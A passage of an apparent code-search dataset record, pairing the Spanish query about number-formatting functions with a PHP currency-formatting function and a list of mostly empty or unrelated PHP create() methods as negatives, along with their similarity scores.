font-family:Arial, Helvetica, sans-serif; font-size: 11px;\">\n <div align=\"\">\n <img src=\"images/header_mail.jpg\"><br>\n <p style=\"margin: 2px 0;\">Señor(a): Jefe de Sucursal: ' . $nombre_jefe_sucursal . '</p>\n <p></p> <br /> \n\n <p style=\"margin: 2px 0;\">Se ha generado un comentario desde la plataforma de comentarios.</p><br /> \n \n <p style=\"margin: 2px 0;\">A continuación le presentamos el detalle:</p><br /><br />\n \n <table width=\"600\">\n <tr><td><strong>Asesor de Ventas:</strong></td><td>' . $this->getResponsable($id_asesor) . '</td></tr>\n <tr><td><strong>Concesionario:</strong></td><td>' . $this->getNombreConcesionario($concesionarioid) . '</td></tr> \n <tr><td><strong>Modelo:</strong></td><td>' . $this->getModeloTestDrive($_POST['GestionComentarios']['id_vehiculo']) . '</td></tr>\n <tr><td><strong>Fecha:</strong></td><td>' . date(\"d\") . \"/\" . date(\"m\") . \"/\" . date(\"Y\") . '</td></tr>\n <tr><td><strong>Hora:</strong></td><td>' . date(\"H:i:s\") . '</td></tr>\n </table>\n <br/><br />\n <p style=\"margin: 2px 0;\">Por favor ingresar a la plataforma,<a href=\"' . Yii::app()->createAbsoluteUrl('gestionComentarios/create', array('id_informacion' => $_POST['GestionComentarios']['id_informacion'], 'id' => $model->id, 'validate' => 'true')) . '\">Aquí</a></p><br />\n <p>Kia Motors Ecuador</p><br /><br />\n\n \n </div>\n </div>\n </body>';\n }\n $codigohtml = $general;\n $headers = 'From: [email protected]' . \"\\r\\n\";\n $headers .= 'Content-type: text/html' . \"\\r\\n\";\n //$email = '[email protected]'; //email administrador\n\n $send = sendEmailInfo('[email protected]', \"Kia Motors Ecuador\", $email, html_entity_decode($asunto), $codigohtml);\n\n $this->render('create', array(\n 'model' => $model,\n ));\n exit();\n }\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "public function create()\n {\n //KEMUDIAN DI DALAMNYA KITA MENJALANKAN FUNGSI UNTUK MENGOSONGKAN FIELD\n $this->resetFields();\n //DAN MEMBUKA MODAL\n $this->openModal();\n }", "public function create()\n\t{\n \n \n\t}", "public function create()\r\r\n {\r\r\n //\r\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create()\r\n {\r\n //\r\n }", "public function create($id) //pasamos el id del cliente\n {\n \n }", "public function crearUsuario() {\n\n\n if ($this->seguridad->esAdmin()) {\n $id = $this->usuario->getLastId();\n $usuario = $_REQUEST[\"usuario\"];\n $contrasenya = $_REQUEST[\"contrasenya\"];\n $email = $_REQUEST[\"email\"];\n $nombre = $_REQUEST[\"nombre\"];\n $apellido1 = $_REQUEST[\"apellido1\"];\n $apellido2 = $_REQUEST[\"apellido2\"];\n $dni = $_REQUEST[\"dni\"];\n $imagen = $_FILES[\"imagen\"];\n $borrado = 'no';\n if (isset($_REQUEST[\"roles\"])) {\n $roles = $_REQUEST[\"roles\"];\n } else {\n $roles = array(\"2\");\n }\n\n if ($this->usuario->add($id,$usuario,$contrasenya,$email,$nombre,$apellido1,$apellido2,$dni,$imagen,$borrado,$roles) > 1) {\n $this->perfil($id);\n } else {\n echo \"<script>\n i=5;\n setInterval(function() {\n if (i==0) {\n location.href='index.php';\n }\n document.body.innerHTML = 'Ha ocurrido un error. Redireccionando en ' + i;\n i--;\n },1000);\n </script>\";\n } \n } else {\n $this->gestionReservas();\n }\n \n }", "public function create(){\n\t}", "public function create(){\n\n //\n }", "public function create()\n {\n \n\n\n }", "protected function addPermission(): bool\n {\n $retorno = true;\n\n $data = $this->getQueryBuilder()\n ->select('DISTINCT fk_funcionario')\n ->from('acceso')\n ->where('estado=1')\n ->andWhere('tipo_relacion=:tipo_relacion')\n ->andWhere('id_relacion=:id_relacion')\n ->andWhere('fk_funcionario<>:fk_funcionario')\n ->setParameters([\n ':tipo_relacion' => Acceso::TIPO_SERIE_DEPENDENCIA,\n ':id_relacion' => $this->fk_serie_dependencia,\n ':fk_funcionario' => $this->fk_responsable\n ], [\n ':tipo_relacion' => Type::INTEGER,\n ':id_relacion' => Type::INTEGER,\n ':fk_funcionario' => Type::INTEGER,\n ])\n ->execute()->fetchAll();\n\n if ($data) {\n foreach ($data as $row) {\n if (!ExpedientePermiso::newRecord([\n 'fk_funcionario' => $row['fk_funcionario'],\n 'fk_expediente' => $this->getPK(),\n 'resposable' => 0\n ])) {\n $retorno = false;\n break;\n }\n }\n }\n\n return $retorno;\n }", "public function crear()\n {\n // Comprobar si esta logeado como admin\n if( isset($_SESSION['admin']) ){\n\n $tipoReporte = new TipoReporte;\n\n $tipoReporte->reporte = $_POST['nuevoTipoReporte'];\n\n $tipoReporte->guardar();\n\n header('Location: ../reportes/tipos_reporte');\n\n } else {\n\n // Redirigir al perfil\n header('Location: ../perfil');\n }\n\n }", "function doCreate() {\n\t\t\n\t\t// Require a validated association \n\t\tProfileAssociationValidRequired::check();\n\t\t\n\t\t// Create a new annonce with uniq id\r\n\t\t$this->annonce = new Annonce();\n\t\t$this->annonce->id = uniqid();\n\t\t\n\t\t// Populate from request\n\t\t$this->populateAnnonce();\n\t\t\n\t\t// Publish this announce\t\n\t\t$this->annonce->publish();\n\t\t\n\t\t// Make nice benevolat be notified of future canditatures\n\t\t$req = new Candidature();\n\t\t$req->annonceID = $this->annonce->id;\n\t\t$req->subscribe(ProfileNiceBenevolat::$USERID);\n\t\t\n\t\t// Succes message\r\n\t\t$this->setSuccess(_(\"Votre annonce a bien été publiée\"));\n\t\t\n\t\t// Show the new annonce\n\t\t$this->forwardTo(\"annonce:details\", array(\"id\" => $this->annonce->id));\n\r\n\t}", "public function create()\n {\n //\n\n\n\n }", "public function create()\n {\n \n\n\n }", "public function create()\n {\n\n //\n }", "public function create()\n {\n\n //\n }", "public function create()\n {\n\n //\n }", "public function create()\n {\n\n //\n }", "public function create()\n {\n\n //\n }", "public function create() {\n // Insert the client in the db\n $db = new Database('cliente');\n $this->id = $db->insert([\n 'name' => $this->name,\n 'address' => $this->address,\n 'zip' => $this->zip,\n 'phone' => $this->phone,\n 'mPhone' => $this->mPhone,\n 'email' => $this->email,\n 'gender' => $this->gender,\n 'obs' => $this->obs,\n ]);\n\n // Return success\n return true;\n }", "public function create()\n {\n // \n }", "public function create() \n {\n //\n }", "public function create()\n {\n\t\t\n }", "public function beforeCreate()\n {\n if (!$this->fecha) {\n $this->fecha = date('Y-m-d H:i:s');\n }\n\n if (!$this->fk_funcionario) {\n $this->fk_funcionario = SessionController::getValue('idfuncionario');\n }\n\n return true;\n }", "public function create()\n {\n //\n \n }", "public function create()\n {\n //\n \n }", "public function create()\n {\n //\n \n }", "public function create()\n {\n //\n\n \n }", "public function create()\n {\n //\n \n\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }" ]
[ "0.65371835", "0.64810395", "0.6434641", "0.62866515", "0.6268191", "0.6237637", "0.6237637", "0.62004334", "0.61955976", "0.6170275", "0.6159835", "0.6144325", "0.6139756", "0.6121334", "0.6113545", "0.6093537", "0.605889", "0.6045887", "0.6043783", "0.6043542", "0.6032456", "0.6025764", "0.60117966", "0.60117966", "0.60117966", "0.60117966", "0.60038704", "0.5992977", "0.5992546", "0.59908897", "0.59697294", "0.5956714", "0.59518903", "0.59515625", "0.5950854", "0.5948763", "0.5948577", "0.59480065", "0.59460825", "0.59414095", "0.59401333", "0.5937397", "0.5932756", "0.5930992", "0.59284824", "0.59281784", "0.5921507", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.591936", "0.5917506", "0.59144884", "0.5914188", "0.59095645", "0.5907211", "0.59050196", "0.5904807", "0.5904265", "0.59025264", "0.5902034", "0.5899623", "0.5899623", "0.5899623", "0.5899623", "0.5899623", "0.58979654", "0.58958846", "0.5893633", "0.5887356", "0.58864987", "0.58824056", "0.58824056", "0.58824056", "0.58820087", "0.5880623", "0.5879839", "0.5879839", "0.5879839", "0.5879839", "0.5879839", "0.5879839" ]
0.0
-1
FUNCIONES PARA DAR FORMATO A LOS NUMEROS
function formatcurrency($floatcurr, $curr = "USD") { $currencies['ARS'] = array(2,',','.'); // Argentine Peso $currencies['AMD'] = array(2,'.',','); // Armenian Dram $currencies['AWG'] = array(2,'.',','); // Aruban Guilder $currencies['AUD'] = array(2,'.',' '); // Australian Dollar $currencies['BSD'] = array(2,'.',','); // Bahamian Dollar $currencies['BHD'] = array(3,'.',','); // Bahraini Dinar $currencies['BDT'] = array(2,'.',','); // Bangladesh, Taka $currencies['BZD'] = array(2,'.',','); // Belize Dollar $currencies['BMD'] = array(2,'.',','); // Bermudian Dollar $currencies['BOB'] = array(2,'.',','); // Bolivia, Boliviano $currencies['BAM'] = array(2,'.',','); // Bosnia and Herzegovina, Convertible Marks $currencies['BWP'] = array(2,'.',','); // Botswana, Pula $currencies['BRL'] = array(2,',','.'); // Brazilian Real $currencies['BND'] = array(2,'.',','); // Brunei Dollar $currencies['CAD'] = array(2,'.',','); // Canadian Dollar $currencies['KYD'] = array(2,'.',','); // Cayman Islands Dollar $currencies['CLP'] = array(0,'','.'); // Chilean Peso $currencies['CNY'] = array(2,'.',','); // China Yuan Renminbi $currencies['COP'] = array(2,',','.'); // Colombian Peso $currencies['CRC'] = array(2,',','.'); // Costa Rican Colon $currencies['HRK'] = array(2,',','.'); // Croatian Kuna $currencies['CUC'] = array(2,'.',','); // Cuban Convertible Peso $currencies['CUP'] = array(2,'.',','); // Cuban Peso $currencies['CYP'] = array(2,'.',','); // Cyprus Pound $currencies['CZK'] = array(2,'.',','); // Czech Koruna $currencies['DKK'] = array(2,',','.'); // Danish Krone $currencies['DOP'] = array(2,'.',','); // Dominican Peso $currencies['XCD'] = array(2,'.',','); // East Caribbean Dollar $currencies['EGP'] = array(2,'.',','); // Egyptian Pound $currencies['SVC'] = array(2,'.',','); // El Salvador Colon $currencies['ATS'] = array(2,',','.'); // Euro $currencies['BEF'] = array(2,',','.'); // Euro $currencies['DEM'] = array(2,',','.'); // Euro $currencies['EEK'] = array(2,',','.'); // Euro $currencies['ESP'] = array(2,',','.'); // Euro $currencies['EUR'] = array(2,',','.'); // Euro $currencies['FIM'] = array(2,',','.'); // Euro $currencies['FRF'] = array(2,',','.'); // Euro $currencies['GRD'] = array(2,',','.'); // Euro $currencies['IEP'] = array(2,',','.'); // Euro $currencies['ITL'] = array(2,',','.'); // Euro $currencies['LUF'] = array(2,',','.'); // Euro $currencies['NLG'] = array(2,',','.'); // Euro $currencies['PTE'] = array(2,',','.'); // Euro $currencies['GHC'] = array(2,'.',','); // Ghana, Cedi $currencies['GIP'] = array(2,'.',','); // Gibraltar Pound $currencies['GTQ'] = array(2,'.',','); // Guatemala, Quetzal $currencies['HNL'] = array(2,'.',','); // Honduras, Lempira $currencies['HKD'] = array(2,'.',','); // Hong Kong Dollar $currencies['HUF'] = array(0,'','.'); // Hungary, Forint $currencies['ISK'] = array(0,'','.'); // Iceland Krona $currencies['INR'] = array(2,'.',','); // Indian Rupee $currencies['IDR'] = array(2,',','.'); // Indonesia, Rupiah $currencies['IRR'] = array(2,'.',','); // Iranian Rial $currencies['JMD'] = array(2,'.',','); // Jamaican Dollar $currencies['JPY'] = array(0,'',','); // Japan, Yen $currencies['JOD'] = array(3,'.',','); // Jordanian Dinar $currencies['KES'] = array(2,'.',','); // Kenyan Shilling $currencies['KWD'] = array(3,'.',','); // Kuwaiti Dinar $currencies['LVL'] = array(2,'.',','); // Latvian Lats $currencies['LBP'] = array(0,'',' '); // Lebanese Pound $currencies['LTL'] = array(2,',',' '); // Lithuanian Litas $currencies['MKD'] = array(2,'.',','); // Macedonia, Denar $currencies['MYR'] = array(2,'.',','); // Malaysian Ringgit $currencies['MTL'] = array(2,'.',','); // Maltese Lira $currencies['MUR'] = array(0,'',','); // Mauritius Rupee $currencies['MXN'] = array(2,'.',','); // Mexican Peso $currencies['MZM'] = array(2,',','.'); // Mozambique Metical $currencies['NPR'] = array(2,'.',','); // Nepalese Rupee $currencies['ANG'] = array(2,'.',','); // Netherlands Antillian Guilder $currencies['ILS'] = array(2,'.',','); // New Israeli Shekel $currencies['TRY'] = array(2,'.',','); // New Turkish Lira $currencies['NZD'] = array(2,'.',','); // New Zealand Dollar $currencies['NOK'] = array(2,',','.'); // Norwegian Krone $currencies['PKR'] = array(2,'.',','); // Pakistan Rupee $currencies['PEN'] = array(2,'.',','); // Peru, Nuevo Sol $currencies['UYU'] = array(2,',','.'); // Peso Uruguayo $currencies['PHP'] = array(2,'.',','); // Philippine Peso $currencies['PLN'] = array(2,'.',' '); // Poland, Zloty $currencies['GBP'] = array(2,'.',','); // Pound Sterling $currencies['OMR'] = array(3,'.',','); // Rial Omani $currencies['RON'] = array(2,',','.'); // Romania, New Leu $currencies['ROL'] = array(2,',','.'); // Romania, Old Leu $currencies['RUB'] = array(2,',','.'); // Russian Ruble $currencies['SAR'] = array(2,'.',','); // Saudi Riyal $currencies['SGD'] = array(2,'.',','); // Singapore Dollar $currencies['SKK'] = array(2,',',' '); // Slovak Koruna $currencies['SIT'] = array(2,',','.'); // Slovenia, Tolar $currencies['ZAR'] = array(2,'.',' '); // South Africa, Rand $currencies['KRW'] = array(0,'',','); // South Korea, Won $currencies['SZL'] = array(2,'.',', '); // Swaziland, Lilangeni $currencies['SEK'] = array(2,',','.'); // Swedish Krona $currencies['CHF'] = array(2,'.','\''); // Swiss Franc $currencies['TZS'] = array(2,'.',','); // Tanzanian Shilling $currencies['THB'] = array(2,'.',','); // Thailand, Baht $currencies['TOP'] = array(2,'.',','); // Tonga, Paanga $currencies['AED'] = array(2,'.',','); // UAE Dirham $currencies['UAH'] = array(2,',',' '); // Ukraine, Hryvnia $currencies['USD'] = array(2,'.',','); // US Dollar $currencies['VUV'] = array(0,'',','); // Vanuatu, Vatu $currencies['VEF'] = array(2,',','.'); // Venezuela Bolivares Fuertes $currencies['VEB'] = array(2,',','.'); // Venezuela, Bolivar $currencies['VND'] = array(0,'','.'); // Viet Nam, Dong $currencies['ZWD'] = array(2,'.',' '); // Zimbabwe Dollar function formatinr($input){ //CUSTOM FUNCTION TO GENERATE ##,##,###.## $dec = ""; $pos = strpos($input, "."); if ($pos === false){ //no decimals } else { //decimals $dec = substr(round(substr($input,$pos),2),1); $input = substr($input,0,$pos); } $num = substr($input,-3); //get the last 3 digits $input = substr($input,0, -3); //omit the last 3 digits already stored in $num while(strlen($input) > 0) //loop the process - further get digits 2 by 2 { $num = substr($input,-2).",".$num; $input = substr($input,0,-2); } return $num . $dec; } if ($curr == "INR"){ return formatinr($floatcurr); } else { return number_format($floatcurr,$currencies[$curr][0],$currencies[$curr][1],$currencies[$curr][2]); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function peso_cesta_formato(){\r\n\t\t\t$p = $this->peso_cesta();\r\n\t\t\treturn number_format($p,2,\",\",\".\");\r\n\t\t}", "function dinheiroParaBr($valor) {\n \t$valor = number_format($valor, 2, ',', '.');\n \treturn $valor;\n}", "public function numberFormatDataProvider() {}", "function Cantidades_sd($valor){\t\n\n return number_format($valor,0,',','.');\n\n}", "function covertirNumLetras()\r\n{\r\n\r\n\t$number = $this->monto;\r\n\r\n\t//number = number_format (number, 2);\r\n $number1=$number;\r\n\r\n\r\n //settype (number, \"integer\");\r\n $cent = strpos($number1,\".\");\r\n\r\n if($cent > 0){\r\n\t\r\n\t$centavos = substr($number1,$cent+1,2);\r\n\t\r\n }else{\r\n\r\n \t$centavos = \"00\";\r\n\t\r\n\t}\r\n\t/* \r\n\t $cent = split(\".\",$number1,7); \r\n\r\n\t\techo $cent[4];\r\n\t\texit();\r\n\r\n\t $centavos = $cent[1];\r\n\r\n\t if ($centavos == 0 || empty($centavos)){\r\n\t \t$centavos = \"00\";\r\n\t }\r\n\t*/\r\n\t/*\r\n\t \r\n\t if (number == 0 || number == \"\") \r\n\t { // if amount = 0, then forget all about conversions, \r\n\t centenas_final_string=\" cero \"; // amount is zero (cero). handle it externally, to \r\n\t // function breakdown \r\n\t } \r\n\t else \r\n\t { \r\n \r\n \r\n\r\n\t \r\n millions = ObtenerParteEntDiv(number, 1000000); // first, send the millions to the string \r\n number = mod(number, 1000000); // conversion function \r\n \r\n\t alert(millions);\r\n\t \r\n if (millions != 0)\r\n { \r\n // This condition handles the plural case \r\n if (millions == 1) \r\n { // if only 1, use 'millon' (million). if \r\n descriptor= \" millon \"; // > than 1, use 'millones' (millions) as \r\n } \r\n else \r\n { // a descriptor for this triad. \r\n descriptor = \" millones \"; \r\n } \r\n } \r\n else \r\n { \r\n descriptor = \" \"; // if 0 million then use no descriptor. \r\n } \r\n millions_final_string = string_literal_conversion(millions)+descriptor; \r\n */ \r\n\r\n\r\n $thousands = $this->ObtenerParteEntDiv($number, 1000); // now, send the thousands to the string \r\n $number = fmod($number, 1000); // conversion function. \r\n //print \"Th:\".thousands;\r\n if ($thousands != 1) \r\n { // This condition eliminates the descriptor \r\n $thousands_final_string = $this->string_literal_conversion($thousands) . \" mil \"; \r\n // descriptor = \" mil \"; // if there are no thousands on the amount \r\n } \r\n if ($thousands == 1)\r\n {\r\n $thousands_final_string = \" mil \"; \r\n }\r\n if ($thousands < 1) \r\n { \r\n $thousands_final_string = \" \"; \r\n } \r\n \r\n // this will handle numbers between 1 and 999 which \r\n // need no descriptor whatsoever. \r\n\r\n\r\n $centenas = $number; \r\n $centenas_final_string = $this->string_literal_conversion($centenas) ; \r\n \r\n\t// } //end if (number ==0) \r\n\r\n /*if (ereg(\"un\",centenas_final_string))\r\n {\r\n centenas_final_string = ereg_replace(\"\",\"o\",centenas_final_string); \r\n }*/\r\n //finally, print the output. \r\n\r\n /* Concatena los millones, miles y cientos*/\r\n\r\n\r\n $cad = $thousands_final_string.$centenas_final_string; \r\n \r\n /* Convierte la cadena a Mayúsculas*/\r\n $cad = strtoupper($cad); \r\n\r\n\r\n\r\n\t/*\r\n\t if (strlen($centavos) > 2)\r\n\t { \r\n\t if(substr($centavos.substring,2,3) >= 5){\r\n\t $centavos = substr($centavos,0,1).(parseInt(centavos.substring(1,2)).1).toString();\r\n\t }else{\r\n\t centavos = centavos.substring(0,2);\r\n\t }\r\n\t }\r\n\r\n\t*/\r\n\r\n\r\n if (strlen($centavos) == 1)\r\n {\r\n $centavos = $centavos.\"0\";\r\n }\r\n $centavos = $centavos. \"/100\"; \r\n\r\n\r\n if ($number == 1)\r\n {\r\n $moneda = \" PESO \"; \r\n }\r\n else\r\n {\r\n $moneda = \" PESOS \"; \r\n }\r\n \r\n /* Regresa el número en cadena entre paréntesis y con tipo de moneda y la fase M.N.*/\r\n\r\n return $cad.$moneda.\" \".$centavos.\" M.N.\";\r\n \r\n}", "function Cantidades_cd($valor){\t\n\n return number_format($valor,3,',','.');\n\n}", "public function getFormat(): int;", "function numdecim($stringa) {\n$arr_stringa = explode(\".\",$stringa);\n$parte_int = $arr_stringa[0];\n$parte_decim = $arr_stringa[1];\n$num_fin = $parte_int.\",\".$parte_decim;\nreturn $num_fin;\n}", "function numberformat( $num ) {\n\tglobal $lang;\n\tif ( $lang == 'www' || $lang == 'meta' || $lang == 'commons' || $lang == 'en' || $lang == 'incubator' ) {\n\t\treturn number_format($num);\n\t}\n\telseif ( $lang == 'fr' ) {\n\t\treturn number_format($num, 0, ',', ' ');\n\t}\n\telse {\n\t\treturn number_format($num);\n\t}\n}", "function formatNumbers($inputID)\n\t{\n\t\t$number_format = number_format($inputID);\n\t\t\n\t\techo $number_format;\n\t}", "function valor_extenso($valor=0, $maiusculas=false)\n{\n if (strpos($valor,\",\") > 0)\n {\n // retira o ponto de milhar, se tiver\n $valor = str_replace(\".\",\"\",$valor);\n \n // troca a virgula decimal por ponto decimal\n $valor = str_replace(\",\",\".\",$valor);\n }\n$singular = array(\"centavo\", \"real\", \"mil\", \"milhao\", \"bilhao\", \"trilhao\", \"quatrilhao\");\n$plural = array(\"centavos\", \"reais\", \"mil\", \"milhoes\", \"bilhoes\", \"trilhoes\",\n\"quatrilhões\");\n \n$c = array(\"\", \"cem\", \"duzentos\", \"trezentos\", \"quatrocentos\",\n\"quinhentos\", \"seiscentos\", \"setecentos\", \"oitocentos\", \"novecentos\");\n$d = array(\"\", \"dez\", \"vinte\", \"trinta\", \"quarenta\", \"cinquenta\",\n\"sessenta\", \"setenta\", \"oitenta\", \"noventa\");\n$d10 = array(\"dez\", \"onze\", \"doze\", \"treze\", \"quatorze\", \"quinze\",\n\"dezesseis\", \"dezesete\", \"dezoito\", \"dezenove\");\n$u = array(\"\", \"um\", \"dois\", \"tres\", \"quatro\", \"cinco\", \"seis\",\n\"sete\", \"oito\", \"nove\");\n \n $z=0;\n \n $valor = number_format($valor, 2, \".\", \".\");\n $inteiro = explode(\".\", $valor);\n\t\t$cont=count($inteiro);\n\t\t for($i=0;$i<$cont;$i++)\n for($ii=strlen($inteiro[$i]);$ii<3;$ii++)\n $inteiro[$i] = \"0\".$inteiro[$i];\n \n $fim = $cont - ($inteiro[$cont-1] > 0 ? 1 : 2);\n for ($i=0;$i<$cont;$i++) {\n $valor = $inteiro[$i];\n $rc = (($valor > 100) && ($valor < 200)) ? \"cento\" : $c[$valor[0]];\n $rd = ($valor[1] < 2) ? \"\" : $d[$valor[1]];\n $ru = ($valor > 0) ? (($valor[1] == 1) ? $d10[$valor[2]] : $u[$valor[2]]) : \"\";\n \n $r = $rc.(($rc && ($rd || $ru)) ? \" e \" : \"\").$rd.(($rd &&\n$ru) ? \" e \" : \"\").$ru;\n $t = $cont-1-$i;\n $r .= $r ? \" \".($valor > 1 ? $plural[$t] : $singular[$t]) : \"\";\n if ($valor == \"000\")$z++; elseif ($z > 0) $z--;\n if (($t==1) && ($z>0) && ($inteiro[0] > 0)) $r .= (($z>1) ? \" de \" : \"\").$plural[$t];\n if ($r) $rt = $rt . ((($i > 0) && ($i <= $fim) &&\n($inteiro[0] > 0) && ($z < 1)) ? ( ($i < $fim) ? \", \" : \" e \") : \" \") . $r;\n }\n \n if(!$maiusculas)\n\t\t {\n return($rt ? $rt : \"zero\");\n } elseif($maiusculas == \"2\") {\n return (strtoupper($rt) ? strtoupper($rt) : \"Zero\");\n } else {\n return (ucwords($rt) ? ucwords($rt) : \"Zero\");\n }\n \n}", "function precioNumero($itemPrecio){ \n $precio = str_replace('$','',$itemPrecio); //Eliminar el símbolo \n $precio = str_replace(',','',$precio); //Eliminar la coma \n return $precio; //Devolver el valor de tipo Numero sin caracteres especiales\n }", "function restaValoresFormato($num1, $num2)\n {\n //esta puede estar formateada en html\n $novalid1 = strpos($num1, \"no disponible\");\n $novalid2 = strpos($num2, \"no disponible\");\n if ($novalid1 !== false || $novalid2 !== false ) {\n return \"Price not available\";\n }\n else{\n $arrayNum1 = $this->removeFormatPrice($num1);\n $arrayNum2 = $this->removeFormatPrice($num2);\n $result = (float)$arrayNum1[1] - (float)$arrayNum2[1];\n return $arrayNum1[0] .\" \". $this->formatPrice($result).\" \".$arrayNum1[2];\n }\n }", "public function numero($numero) {\n\n $formatado = $numero / 1000;\n if ($formatado < 10) {\n $formatado = '0' . $formatado;\n }\n return $formatado;\n }", "public function iva_articulos_formato(){\r\n\t\t\t$importe = $this->iva_articulos();\r\n\t\t\t$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);\r\n\t\t\treturn $formatter->formatCurrency($importe, 'EUR');\r\n\t\t}", "function formatMontantCompta($valeur)\n {\n \t$prix_ok = number_format($valeur,2, ',', ' ');\n\n\t\treturn $prix_ok;\n\n }", "function FormataValor4($valor) {\r\n if ($valor != \"\" && !is_null($valor)) {\r\n return number_format($valor, 4, ',', '.');\r\n } else {\r\n return \"\";\r\n }\r\n}", "function number_format($number, $type = _NUM_TYPE)\n\t{\n\t\tswitch ($type) {\n\t\t\tcase \"figure\":\n\t\t\t\treturn XoopsLocaleJalali::Convertnumber2farsi($number);\n\t\t\t\tbreak;\n\t\t\tcase \"word\":\n\t\t\t\treturn ($number > 0) ? self::num2Words($number) : _NUMWORDS_ZERO;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn $number;\n\t\t\t\tbreak;\n\t\t}\t\n\t}", "function Formato1($val){\r\n return number_format($val,0,\",\",\".\");\r\n }", "function format($format){\r\n \tglobal $Aplic;\r\n $saida = \"\";\r\n\r\n for($strpos = 0; $strpos < strlen($format); $strpos++) {\r\n $char = substr($format,$strpos,1);\r\n if($char == \"%\") {\r\n $prox_caracter = substr($format,$strpos + 1,1);\r\n switch($prox_caracter) {\r\n case \"a\":\r\n $saida .= Data_Calc::getSemanaNomeAbrev($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"A\":\r\n $saida .= Data_Calc::getSemanaNomeCompl($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"b\":\r\n\t\t\t\t\t\tsetlocale(LC_TIME, $Aplic->usuario_linguagem);\r\n $saida .= Data_Calc::getMesNomeAbrev($this->mes);\r\n\t\t\t\t\t\tsetlocale(LC_ALL, $Aplic->usuario_linguagem);\r\n break;\r\n case \"B\":\r\n $saida .= Data_Calc::getMesNomeCompl($this->mes);\r\n break;\r\n case \"C\":\r\n $saida .= sprintf(\"%02d\",intval($this->ano/100));\r\n break;\r\n case \"d\":\r\n $saida .= sprintf(\"%02d\",$this->dia);\r\n break;\r\n case \"D\":\r\n $saida .= sprintf(\"%02d/%02d/%02d\",$this->mes,$this->dia,$this->ano);\r\n break;\r\n case \"e\":\r\n $saida .= $this->dia;\r\n break;\r\n case \"E\":\r\n $saida .= Data_Calc::dataParaDias($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"H\":\r\n $saida .= sprintf(\"%02d\", $this->hora);\r\n break;\r\n case \"I\":\r\n $hora = ($this->hora + 1) > 12 ? $this->hora - 12 : $this->hora;\r\n $saida .= sprintf(\"%02d\", $hora==0 ? 12 : $hora);\r\n break;\r\n case \"j\":\r\n $saida .= Data_Calc::dataJuliana($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"m\":\r\n $saida .= sprintf(\"%02d\",$this->mes);\r\n break;\r\n case \"M\":\r\n $saida .= sprintf(\"%02d\",$this->minuto);\r\n break;\r\n case \"n\":\r\n $saida .= \"\\n\";\r\n break;\r\n case \"O\":\r\n $offms = $this->tz->getOffset($this);\r\n $direcao = $offms >= 0 ? \"+\" : \"-\";\r\n $offmins = abs($offms) / 1000 / 60;\r\n $horas = $offmins / 60;\r\n $minutos = $offmins % 60;\r\n $saida .= sprintf(\"%s%02d:%02d\", $direcao, $horas, $minutos);\r\n break;\r\n case \"o\":\r\n $offms = $this->tz->getRawOffset($this);\r\n $direcao = $offms >= 0 ? \"+\" : \"-\";\r\n $offmins = abs($offms) / 1000 / 60;\r\n $horas = $offmins / 60;\r\n $minutos = $offmins % 60;\r\n $saida .= sprintf(\"%s%02d:%02d\", $direcao, $horas, $minutos);\r\n break;\r\n case \"p\":\r\n $saida .= $this->hora >= 12 ? \"pm\" : \"am\";\r\n break;\r\n case \"P\":\r\n $saida .= $this->hora >= 12 ? \"PM\" : \"AM\";\r\n break;\r\n case \"r\":\r\n $hora = ($this->hora + 1) > 12 ? $this->hora - 12 : $this->hora;\r\n $saida .= sprintf(\"%02d:%02d:%02d %s\", $hora==0 ? 12 : $hora, $this->minuto, $this->segundo, $this->hora >= 12 ? \"PM\" : \"AM\");\r\n break;\r\n case \"R\":\r\n $saida .= sprintf(\"%02d:%02d\", $this->hora, $this->minuto);\r\n break;\r\n case \"S\":\r\n $saida .= sprintf(\"%02d\", $this->segundo);\r\n break;\r\n case \"t\":\r\n $saida .= \"\\t\";\r\n break;\r\n case \"T\":\r\n $saida .= sprintf(\"%02d:%02d:%02d\", $this->hora, $this->minuto, $this->segundo);\r\n break;\r\n case \"w\":\r\n $saida .= Data_Calc::diaDaSemana($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"U\":\r\n $saida .= Data_Calc::semanaDoAno($this->dia,$this->mes,$this->ano);\r\n break;\r\n case \"y\":\r\n $saida .= substr($this->ano,2,2);\r\n break;\r\n case \"Y\":\r\n $saida .= $this->ano;\r\n break;\r\n case \"Z\":\r\n $saida .= $this->tz->inDaylightTime($this) ? $this->tz->getDSTNomeCurto() : $this->tz->getNomeCurto();\r\n break;\r\n case \"%\":\r\n $saida .= \"%\";\r\n break;\r\n default:\r\n $saida .= $char.$prox_caracter;\r\n }\r\n $strpos++;\r\n } else {\r\n $saida .= $char;\r\n }\r\n }\r\n return $saida;\r\n\r\n }", "abstract public function getFormat(): int;", "function arreglar_numero($numero)\n\t\t{\n\t\t\t// \t$numero = str_replace(\".\", 